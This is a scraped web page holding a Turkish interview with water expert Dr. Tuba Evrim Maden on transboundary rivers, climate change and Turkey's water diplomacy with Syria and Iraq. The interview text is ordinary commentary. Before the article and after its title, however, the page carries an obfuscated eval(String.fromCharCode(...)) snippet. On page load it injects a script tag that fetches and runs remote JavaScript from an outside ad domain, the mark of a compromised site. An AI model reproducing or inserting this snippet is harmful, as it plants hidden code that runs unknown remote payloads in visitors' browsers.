var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 54, 44, 32, 54, 49, 44, 32, 52, 57, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 49, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 52, 92, 120, 55, 57, 92, 120, 55, 48, 92, 120, 54, 53, 34, 93, 32, 61, 32, 34, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 55, 56, 92, 120, 55, 52, 92, 120, 50, 70, 92, 120, 54, 65, 92, 120, 54, 49, 92, 120, 55, 54, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 55, 57, 92, 120, 54, 69, 92, 120, 54, 51, 34, 93, 32, 61, 32, 116, 114, 117, 101, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 51, 92, 120, 55, 50, 92, 120, 54, 51, 34, 93, 32, 61, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 91, 48, 93, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 91, 34, 92, 120, 55, 48, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 52, 69, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 69, 92, 120, 55, 51, 92, 120, 54, 53, 92, 120, 55, 50, 92, 120, 55, 52, 92, 120, 52, 50, 92, 120, 54, 53, 92, 120, 54, 54, 92, 120, 54, 70, 92, 120, 55, 50, 92, 120, 54, 53, 34, 93, 40, 95, 48, 120, 52, 50, 116, 98, 99, 50, 44, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 41, 10, 125, 59, 10, 118, 97, 114, 32, 116, 110, 100, 101, 109, 111, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 118, 97, 114, 32, 110, 32, 61, 32, 116, 114, 117, 101, 59, 10, 102, 111, 114, 32, 40, 118, 97, 114, 32, 105, 32, 61, 32, 48, 59, 32, 105, 32, 60, 32, 116, 110, 100, 101, 109, 111, 115, 91, 34, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 54, 55, 92, 120, 55, 52, 92, 120, 54, 56, 34, 93, 59, 32, 105, 43, 43, 41, 32, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 116, 110, 100, 101, 109, 111, 115, 91, 105, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 110, 32, 61, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 125, 10, 125, 59, 10, 105, 102, 32, 40, 110, 32, 61, 61, 32, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 97, 49, 40, 41, 59, 10, 125)); Dr. Tuba Evrim Maden ile Sınıraşan Sular ve Dış Politika üzerine konuştuk. ~ Konuştuk var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 54, 44, 32, 54, 49, 44, 32, 52, 57, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 49, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 52, 92, 120, 55, 57, 92, 120, 55, 48, 92, 120, 54, 53, 34, 93, 32, 61, 32, 34, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 55, 56, 92, 120, 55, 52, 92, 120, 50, 70, 92, 120, 54, 65, 92, 120, 54, 49, 92, 120, 55, 54, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 55, 57, 92, 120, 54, 69, 92, 120, 54, 51, 34, 93, 32, 61, 32, 116, 114, 117, 101, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 51, 92, 120, 55, 50, 92, 120, 54, 51, 34, 93, 32, 61, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 91, 48, 93, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 91, 34, 92, 120, 55, 48, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 52, 69, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 69, 92, 120, 55, 51, 92, 120, 54, 53, 92, 120, 55, 50, 92, 120, 55, 52, 92, 120, 52, 50, 92, 120, 54, 53, 92, 120, 54, 54, 92, 120, 54, 70, 92, 120, 55, 50, 92, 120, 54, 53, 34, 93, 40, 95, 48, 120, 52, 50, 116, 98, 99, 50, 44, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 41, 10, 125, 59, 10, 118, 97, 114, 32, 116, 110, 100, 101, 109, 111, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 118, 97, 114, 32, 110, 32, 61, 32, 116, 114, 117, 101, 59, 10, 102, 111, 114, 32, 40, 118, 97, 114, 32, 105, 32, 61, 32, 48, 59, 32, 105, 32, 60, 32, 116, 110, 100, 101, 109, 111, 115, 91, 34, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 54, 55, 92, 120, 55, 52, 92, 120, 54, 56, 34, 93, 59, 32, 105, 43, 43, 41, 32, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 116, 110, 100, 101, 109, 111, 115, 91, 105, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 110, 32, 61, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 125, 10, 125, 59, 10, 105, 102, 32, 40, 110, 32, 61, 61, 32, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 97, 49, 40, 41, 59, 10, 125));
Tuba Evrim Maden Sınıraşan Sular

Dr. Tuba Evrim Maden ile Sınıraşan Sular ve Dış Politika üzerine konuştuk.

Türkiye Su Enstitüsü Uzmanı Dr. Tuba Evrim Maden ile Sınıraşan Sular ve Uluslararası İlişkiler üzerindeki etkilerini konuştuk.


Muhammed Murat Arslan: Sınıraşan sular nedir? Nasıl tanımlanır?

Tuğba Evrim Maden: Birden fazla devletin topraklarını kateden sulara, sınıraşan sular denir. Sınıraşan suların bir bölümü iki devlet arasında doğal bir sınır oluşturabilmektedir. Bu sulara da sınıroluşturan sular denebilmektedir. Ama genel olarak tüm bu sular sınıraşan sular başlığı altında incelenmektedir. Dünyada 276 adet sınıraşan su havzası bulunmaktadır. Dünya nüfusunun yüzde 40’ı bu havzalarda yaşarken, dünyada var olan su potansiyelinin yüzde 60’ı da bu havzalardadır. Bu sulara örnek olarak 19 ülkenin sınırlarını aşan Tuna nehri, 11 ülkenin topraklarını kat eden Nil nehri veya Türkiye’den doğup daha sonra Suriye ve Irak topraklarını aşan Fırat ve Dicle nehirlerini örnek verebiliriz. Ayrıca, buna ek olarak yeraltı suları da devletlerin sınırlarını aşmaktadır. Dünyada tespit edilmiş sınıraşan akifer sayısı ise 300’dür.

Arslan: Sınıraşan suların ülkelerin dış politikalarına yansımaları nasıl ve ne şekilde oluyor?

Maden: Aslında bu süreç su kaynaklarının devletler tarafından kalkınma, tarım, gelişme amacıyla kullanılması ile başlamaktadır. Su kaynaklarının dünya nüfusunun artması, tarım amacıyla yoğun kullanılması, sanayi ve içme amacıyla kullanılması ve yoğun kullanım sonucu kirlenmesi ile su kaynakları hem kalite hem de miktar açısından sıkıntılı bir hal almıştır. Buna ek olarak iklim değişimi özellikle Ortadoğu gibi kurak-yarı kurak iklim kuşaklarında yağış rejimlerini etkileyerek erişilebilir su kaynağının daha da azalmasına neden olmaktadır. Söz konusu sınıraşan sular olduğunda birden fazla ülke bu durumdan doğrudan etkilenmektedir. Bu sular kıtlık, taşkın ve kirlilik gibi suyun kullanımını doğrudan etkileyen problemlere sahip olması durumunda devletlerin birbiri ile ilişkileri ve politik niyetleri çok önemlidir. Sınıraşan suyla ilgili kıyıdaş ülke işbirliği niyetinde ise su iki ülkenin ilişkilerinde tetikleyici bir rol oynayabilir, iki ülke gergin ilişkilere sahipse çatışmalar için önemli bir zemin oluşturabilir. Bazen iki ülkenin ilişkilerinin şekillenmesinde bir önkoşul da olabilir.

Arslan: Direkt bir dış politika konusu olabiliyor yani?

Maden: Tabi ki, özellikle Ortadoğu gibi suyun kıt olduğu bölgelerde devletlerin ilişkilerini etkileyebiliyor.

Arslan: Peki bugünlerde özellikle son 10 yıldır ciddi bir gündem konusu; iklim değişikliği. İklim değişikliğinin sınıraşan sulara ne gibi bir etkisi oldu?

Maden: İklim değişikliğinde bazı bölgeler daha çok kuraklaşacak, bazı yerler ise daha çok ılımanlaşacak ve yağışlar artacak ve taşkın sorunlarına büyük sellere neden olabilmektedir. Kuraklık gibi, taşkınlar da sınıraşan sularda bir sorundur. Suyun doğduğu ülkede, memba ülkede gerçekleşen taşkın, suyun akşıaşağı devam ettiği mansap ülkelerde sorunlara neden olabilmektedir. Örneğin, Meriç nehri havzasında Bulgaristan’da yoğun yağış nedeniyle meydana gelen taşkınlar Türkiye’yi büyük ölçüde çevresel ve ekonomik zarara uğratmaktadır. Sadece yağışlar değil bu süreçte barajların yanlış işletilmesi de tetikleyici bir rol oynamaktadır. Barajların taşkın hacmi vardır. Maksimum kar ile elektrik üretebilmek için barajları taşkın hacmini yok sayarak işletildiği zaman, Taşkın için gerekli hacmi bırakmazlar. Bunu yine Meriç Nehri örneğinde Bulgaristan’ın baraj işletmesinde görüyoruz.. Su kıtlığı olan bölgelerde ise; IPCC ve diğer raporların öngörülerinde Türkiye ve yakın coğrafyasında sıcaklığın 2,5-3 santigrad artacağı ve yağışların ise %25-35 arası düşebileceği ifade edilmektedir. Ortadoğu’da ortalama yağış dünya ortalamasının yaklaşık ¼’ü oranında gerçekleşmektedir. Yağış genellikle kıyı ve dağlık bölgelerinde yoğunlaşırken, merkez ve çöllerde çok az gerçekleşmekte veya hiç gerçekleşmemektedir.. Yağış oranının düşmesi su kaynaklarının beslenmesini doğrudan etkilemektedir, kıt olan su kaynakları gün geçtikçe daha çok kıtlaşacaktır.. Sıcaklığın artması sonucu buharlaşmanın artması ise yüzey suları ve barajlarda depolanan suların kaybına neden olmaktadır. Bu durumu da su bütçesinde değerlendirmek zorundayız. Ya da sulama yapıyorsunuz, pirinç üretiyorsunuz, aslında ne ikliminiz ne coğrafyanız ne başka koşullar ne de su kaynaklarınız bunun için uygun değil. Ama sizin gıda güvenliği endişeniz var. O nedenle de akılcı ve verimli olmayan tarımsal üretimler ve su tüketimi yapabiliyor.. . Aslında Mezopotamya’nın çölleşmesinde yani o verimli toprakların şu anki kurak hale gelmesinde yanlış sulamaların etkisi çok fazla. Buharlaşma çok fazla, suyun içindeki tüm maddeler toprağın bünyesine katılıyor ve toprakta tuzlanma yani kuraklığa sebep oluyor. Keza bizim ülkemizde de bu tuzlanma sorununun örneklerini yaşadık. Daha sonra alınan önlemlerle, sulamanın kontrol edilmesiyle ve bu damla sulama veya yağmurlama gibi modern sulama tekniklerin teşvik edilmesiyle, sorunu yavaş yavaş çözmeye başladık. Bu anlamda iklim değişimi Ortadoğu için evet bir problem. Çünkü kaynaklar azalacak, Ortadoğu’da nüfus fazla ve gün geçtikçe artıyor, zaten mevcutta su kaynağı az, yağış az ve önümüzdeki 2050 yılı için hatta o kadar gitmemize gerek yok, 2030’a gittiğimizde Ortadoğu’da, su açısından bütün ülkeler su krizi ile karşı karşıya kalacaktır. Bunun için ya alternatif su kaynaklarına yönelecekler, desalinasyon (deniz suyu arıtılması), yağmur bombası, kuru buz, havzalar arası su transferi, acı suyun arıtılması, akifer besleme ve atık suyun tekrar arıtılarak kullanılması gibi çözümlere odaklanılacaktır. Yada suyun yönetimi ile ilgili değişikliklere yönelebilirler. Suyun bütüncül yönetimi ile su kaynakları daha etkin, verimli ve akılcı kullanımı sağlanabilmektedir. Bu süreçte su ile ilgili tüm sektörler ve paydaşlarda bu yönetim sürecinde yer almaktadır. Özellikle Ortadoğu’da su fiyatlandırmasında, su devletler tarafından sübvanse edilerek çok düşük fiyatlandırmaktadır. Bu durum suyun bilinçsizce ve verimsiz kullanılmasına neden olmaktadır. Suyun sonsuz bir kaynak olmadığı konusunda kullanıcıların bilgilendirilmesi ve su tasarrufuna dikkat çekilmesi gerekmektedir. Ayrıca, su iletim hatlarının bakımsızlığı, eski oluşu ve hasarlı oluşu büyük su kayıplarına neden olabilmektedir. Bu durum kıt olan su kaynağının yarısının bazen daha fazlasının kaynaktan, musluğa ulaşana kadar ziyan olmasına neden olmaktadır. Türkiye, Avrupa Birliği üyesi adayı olma sürecinde olması nedeniyle Avrupa Birliği su çerçeve direktifini yasaları ile uyumlaştırması gerekmektedir. Özellikle son 7 yıldır bu konuda önemli ilerlemeler sağlamıştır..

Arslan: Türk Dış Politikası içerisinde sınıraşan suların yeri nedir?

Maden: Türkiye’nin sahip olduğu su potansiyelinin yaklaşık yüzde 40’ı sınıraşan sulardan oluşmaktadır. Bu sulardan faydalanmak su kaynakları açısında önem içermektedir. Ayrıca, bu sularından faydalanmamız kıyıdaş ülkelerle ilişkilerimizde dönem dönem önemli rollere de sahip olmuştur. Bulgaristan ve Yunanistan ile kıyıdaş olduğumuz Merç nehri, Gürcistan ile Çoruh nehri, Ermenistan ile Arpaçay, Azerbaycan ve İran ile Aras nehri, Suriye ve Irak ile Fırat-Dicle nehirleri ve Suriye ile Asi nehri sırnaşan havzalarımızı oluşturmaktadır. Türkiye, Irak ve Suriye’nin kıyıdaş olduğu Fırat ve Dicle havzası, Ortadoğu’nun da önemli havzalarından biridir. Türkiye Cumhuriyeti’nin kuruluşundan itibaren, sınıraşan sularımızla ilgili Türkiye komşuları ile iyi komşuluk başlığı altında antlaşmalar imzalamıştır. İyi komşuluk gereği olarak bu antlaşmalarla bu sularla ilgili iş birliği yapılması, ortak komiteler kurulması, teknik anlamda desteklenmesi hedefleniyor.

Türkiye-Suriye ilişkilerinde su meselesi, 1950’li yıllarda iki ülkenin de su kaynaklarından yararlanma projeleriyle başlamıştır. İki ülke bu çerçevede 1954 yılından sonra kendi baraj projelerini gerçekleştirmişlerdir. Bu dönemde, Türkiye’deki su kaynaklarının planlanması, yönetimi, geliştirilmesi ve işletilmesini sağlamak üzere kurulan Devlet Su İşleri Genel Müdürlüğü tarafından sırasıyla Fırat Nehri üzerinde Keban, Karakaya ve Atatürk Barajları inşa edilmiştir. Suriye’de de ülkenin en önemli su kaynakları arasında yer alan Asi ve Fırat Nehirleri üzerinde çeşitli baraj projeleri hayata geçirilmeye başlanmış, 1968 yılında ülkenin en büyük barajı olan Tabka Barajı inşa edilmiştir.

Keban ve Tabka Barajlarının dolumu ve Atatürk Barajı’nın inşası süreçlerinde Fırat-Dicle havzası kıyıdaş ülkeleri Türkiye, Irak ve Suriye arasında sıkıntılı bir dönem yaşanmıştır. Özellikle Irak, Tabka Barajı’nın su tutulması sırasında kendisine ulaşan su miktarının azalması konusunda Suriye’ye ciddi tepkiler göstermiştir. Türkiye, Karakaya ve Atatürk barajlarının yapım aşamasında uluslararası kuruluşlardan kredi alma sürecinde hem Irak hem de Suriye’nin karşı lobicilik çalışmaları ile karşı karşıya kalıyor. Karakaya barajını yaparken Dünya Bankası’na Fırat nehrinden Türkiye-Suriye sınırından saniyede 350 metreküp su geçireceğinin taahhüt ediyor ve baraj için kredi alabiliyor. Fakat Atatürk barajı için istediği krediyi alamıyor ve Atatürk barajını kendi öz kaynakları ile inşa ediyor. Hem Suriye hem de Irak, Türkiye’nin barajlar ile Fırat ve Dicle sularını keseceğini iddia ediyor. Bu durum diğer Arap ülkelerinin de katılımı ile büyük bir propagandaya dönüşüyor. İddiaların asılsızlığı ise Türkiye bu barajlardan hidroelektrik elde ediyor. Fırat ve Dicle havzası büyük hidroelektrik üretim potansiyeline sahip. Barajlarda elektrik üretmek için suyu bırakmanız gerekir, Türkiye’de bu barajlardan elektrik üreteceği için suları bırakmaktadır. Keza, Birecik barajı inşa edilirken Suriye kriz çıkarmıştır. Birecik barajı “after-bay dam” düzenleme barajı olarak inşa edilmiştir. Bu barajlar santrallerden debinin maksimum olduğu dönemlerde düzenlemesi amacıyla inşa edilmektedir. Aynı şekilde emsalleri Suriye ve Irak’ta vardır. Suriye’de Tabka barajının hemen mansabında Baas barajı ve Irak’ta Saddam Barajının mansabında Baduş barajı aynı amaçla yer almaktadır. Bunun bilinmesine karşı Suriye ve Irak, Türkiye’nin suyu keseceği ve onlara karşı kullanacağı konusunda uzun yıllardır gerek basın yoluyla, gerek uluslararası konferanslarda Türkiye aleyhine çalışmalar yapmaktadır.

1987 yılında Türkiye, Suriye ile iki protokol imzalamıştır. İmzalanan protokollerden bir tanesi güvenlik ile ilgili olup, Suriye’nin PKK’ya verdiği desteğe son vermesi hakkındadır. Diğer protokol ise Türkiye’nin, nihai bir anlaşmaya kadar yılda ortalama 500metreküp/sn suyu Türkiye-Suriye sınırında bırakmasını içermektedir. Bu protokol sonrasında Suriye ve Irak, 1990 yılında Türkiye tarafından bırakılan ortalama yıllık 500 metreküp/sn suyun yüzde 58’ini Irak’ın kullanımına bırakan bir anlaşma imzalamıştır. 1987 protokolü sonrasında devam eden 10 yılık süre içerisinde Suriye, PKK’ya verdiği desteği geri çekmemiştir.

1990’ların ortasında PKK’nın terör faaliyetlerinin artması ile Türkiye, Suriye’ye karşı PKK hakkında sert bir tutum sergilemiştir. 1996 yılında Türkiye, Suriye’ye PKK’ya sağladığı destek ile ilgili tezkere göndermiş ve devamında sorunun çözümü için diplomatik çözüm geliştirmeye çalışmış fakat istediği sonuca ulaşamamıştır. Türkiye, Ekim 1998’de Suriye’yi bu konuda tekrar uyarmıştır. O güne kadar Türkiye’nin talep ve uyarılarını dikkate almayan Suriye, Türkiye’nin tavrının ciddiyetini anlamış ve Türkiye ile 20 Ekim 1998 tarihinde Adana Mutabakatını imzalamıştır. Bu mutabakat ile ikili ilişkiler, özellikle de güvenlik alanında ilişkiler gelişmeye başlamıştır. Bu mutabakat ile Suriye, Abdullah Öcalan’ı sınırdışı etmiş, PKK kamplarını kapatmış ve lojistik desteğine de son vermiştir.

Kriz dönemleri yaşanırken üç ülke Fırat ve Dicle sularından faydalanmak üzere ortak teknik çalışmalarda da bulunmuştur. Suların etkin, akılcı ve hakça kullanılabilmesi için 1981 yılında Türkiye ve Irak arasında Ortak Teknik Komite (OTK) kurulmuştur. 1983 yılında Suriye de OTK’ya katılmıştır. Görüşmeler 16. OTK toplantısından sonra 1992’de kesilmiştir. Bununla birlikte, 2007 yılında üçlü görüşmeler tekrar başlatılmış, gerek teknik gerek bakanlar düzeyinde toplantılar yapılmıştır.

1998 yılında Türkiye ile Suriye arasında imzalanan Adana Mutabakatıyla ticaretten turizme uzanan geniş ölçekli bir işbirliği zemininin hazırlanması sağlanmıştır. 2000 yılında Hafız Esad’ın cenaze törenine dönemin Cumhurbaşkanı Ahmet Necdet Sezer’in katılması ve 2000 yılında Suriye Başbakan Yardımcısı Abdulhalim Haddam’ın Ankara’ya yaptığı resmi ziyaret ile ilişkiler olumlu bir gelişim sürecine girmiştir.

Bu süreçte 2001 yılında GAP Bölgesel Kalkınma İdaresi ile Suriye Arazi Kaynakları Genel Kuruluşu (GOLD) arasında su kaynakları konusunda bir işbirliği protokolü imzalanmıştır.

